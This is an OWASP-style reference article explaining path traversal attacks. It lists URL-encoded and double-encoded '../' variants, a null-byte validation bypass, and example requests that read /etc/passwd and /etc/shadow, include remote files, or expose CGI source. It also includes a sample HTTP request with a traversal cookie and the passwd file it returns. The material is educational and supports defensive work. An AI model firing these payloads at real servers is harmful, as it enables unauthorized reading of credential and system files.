Path Traversal

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ASDR Table of Contents

Overview
A Path Traversal attack aims to access files and directories that are stored outside the web root folder. By browsing the application, the attacker looks for absolute links to files stored on the web server. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration and critical system files, limited by system operational access control. The attacker uses “../” sequences to move up to root directory, thus permitting navigation through the file system.

This attack can be executed with an external malicious code injected on the path, like the Resource Injection attack. To perform this attack it’s not necessary to use a specific tool; attackers typically use a spider/crawler to detect all URLs available.

This attack is also known as “dot-dot-slash”, “directory traversal”, “directory climbing” and “backtracking”.

How to Avoid Path Traversal Vulnerabilities
See the OWASP Guide article on how to Avoid Path Traversal Vulnerabilities.

How to Review Code for Path Traversal Vulnerabilities
See the OWASP Code Review Guide article on how to Review Code for Path Traversal Vulnerabilities.

How to Test for Path Traversal Vulnerabilities
See the OWASP Testing Guide article on how to Test for Path Traversal Vulnerabilities.

Request variations
Encoding and double encoding:

%2e%2e%2f represents ../ %2e%2e/ represents ../ ..%2f represents ../ %2e%2e%5c represents ..\ %2e%2e\ represents ..\ ..%5c represents ..\ %252e%252e%255c represents ..\ ..%255c represents ..\ and so on.

Percent encoding (aka URL encoding)

Note that web containers perform one level of decoding on percent encoded values from forms and URLs.

..%c0%af represents ../ ..%c1%9c represents ..\

OS specific

UNIX Root directory: “ / “ Directory separator: “ / “

WINDOWS Root directory: “ : \ “ Directory separator: “ / “ or “ \ ” Note that windows allows filenames to be followed by extra. \ / characters.

In many operating systems, null bytes %00 can be injected to terminate the filename. For example, sending a parameter like: ?file=secret.doc%00.pdf will result in the Java application seeing a string that ends with ".pdf" and the operating system will see a file that ends in ".doc". Attackers may use this trick to bypass validation routines.

Example 1
The following examples show how the application deals with the resources in use. http://some_site.com.br/get-files.jsp?file=report.pdf http://some_site.com.br/get-page.php?home=aaa.html http://some_site.com.br/some-page.asp?page=index.html

In these examples it’s possible to insert a malicious string as the variable parameter to access files located outside the web publish directory. http://some_site.com.br/get-files?file=../../../../some dir/some file

http://some_site.com.br/../../../../some dir/some file

The following URLs show examples of *NIX password file exploitation.

http://some_site.com.br/../../../../etc/shadow http://some_site.com.br/get-files?file=/etc/passwd

Note: In a windows system an attacker can navigate only in a partition that locates web root while in the Linux he can navigate in the whole disk.

Example 2
It's also possible to include files and scripts located on external website. http://some_site.com.br/some-page?page=http://other-site.com.br/other-page.htm/malicius-code.php

Example 3
These examples illustrate a case when an attacker made the server show the CGI source code. http://vulnerable-page.org/cgi-bin/main.cgi?file=main.cgi

Example 4
This example was extracted from: Wikipedia - Directory Traversal

A typical example of vulnerable application code is:



An attack against this system could be to send the following HTTP request: GET /vulnerable.php HTTP/1.0 Cookie: TEMPLATE=../../../../../../../../../etc/passwd

Generating a server response such as: HTTP/1.0 200 OK Content-Type: text/html Server: Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh daemon:*:1:1::/tmp: phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh

The repeated ../ characters after /home/users/phpguru/templates/ has caused include to traverse to the root directory, and then include the UNIX password file /etc/passwd.

UNIX etc/passwd is a common file used to demonstrate directory traversal, as it is often used by crackers to try cracking the passwords.

Absolute Path Traversal
The following URLs may be vulnerable to this attack:

http://testsite.com/get.php?f=list http://testsite.com/get.cgi?f=2 http://testsite.com/get.asp?f=test

An attacker can execute this attack like this:

http://testsite.com/get.php?f=/var/www/html/get.php http://testsite.com/get.cgi?f=/var/www/html/admin/get.inc http://testsite.com/get.asp?f=/etc/passwd

When the web server returns information about errors in a web application, it is much easier for the attacker to guess the correct locations (e.g. path to the file with a source code, which then may be displayed).

Related Threat Agents

 * Category: Information Disclosure

Related Attacks

 * Path Manipulation
 * Relative Path Traversal
 * Resource Injection

Related Vulnerabilities

 * Category:Input Validation Vulnerability

Related Controls

 * Category:Input Validation